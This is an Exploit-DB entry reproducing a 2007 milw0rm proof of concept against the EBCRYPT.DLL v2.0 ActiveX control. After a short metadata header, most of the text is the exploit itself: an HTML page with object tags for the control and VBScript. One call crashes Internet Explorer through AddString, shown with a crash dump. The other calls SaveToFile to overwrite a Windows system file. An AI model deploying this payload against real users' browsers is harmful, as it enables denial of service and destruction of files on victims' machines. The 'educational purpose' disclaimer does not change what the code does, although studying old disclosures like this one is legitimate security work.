EB Design Pty Ltd (EBCRYPT.DLL v.2.0) Multiple Remote Vulnerabilities

vendor:

EBCRYPT.DLL v.2.0

by:

shinnai

N/A

CVSS

N/A

DoS and File Overwrite

Unknown

CWE

Product Name: EBCRYPT.DLL v.2.0

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: Unknown

Related CWE:

CPE: Unknown

Metasploit:

Other Scripts:

Platforms Tested: Windows XP Professional SP2

2007

EB Design Pty Ltd (EBCRYPT.DLL v.2.0) Multiple Remote Vulnerabilities

This control contains two vulnerabilities: 1) It is possible to cause a DoS passing at least one character to "AddString()" method. 2) It is possible to overwrite a file passed as an argument to "SaveToFile()" method.

Mitigation:

Unknown

Source

Exploit-DB raw data:

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>EB Design Pty Ltd (EBCRYPT.DLL v.2.0) Multiple Remote Vulnerabilites</b>
 url: http://www.ebcrypt.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 <b>Marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller, data
 KillBitSet: False</b>

 This control contains two vulnerabilities:
 1) It is possible to cause a DoS passing at least one character to
    "AddString()" method. This is a dump of exception:

    Access violation when reading [3A433B2E]
    03158CA4   FF51 10 => CALL DWORD PTR DS:[ECX+10] <-- crash
    ECX 3A433B2E <-- ".;C:" (is a part of path)

 2) It is possible to overwrite a file passed as argument to "SaveToFile()"
    method
-----------------------------------------------------------------------------


<object classid='clsid:3C34EAC7-9904-4415-BBE4-82AA8C0C0BE8' id='test1'></object>
<object classid='clsid:B1E7505E-BBFD-42BF-98C9-602205A1504C' id='test2'></object>

<input language=VBScript onclick=tryAddString() type=button value='Click here to start AddString test    '>

<input language=VBScript onclick=trySaveToFile() type=button value='Click here to start SaveToFile test'>

<script language='vbscript'>
  Sub tryAddString
   test1.AddString "A"
  End Sub

  Sub trySaveToFile
   test2.SaveToFile "C:\WINDOWS\system_.ini"
   MsgBox "Exploit completed."
  End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-09-24]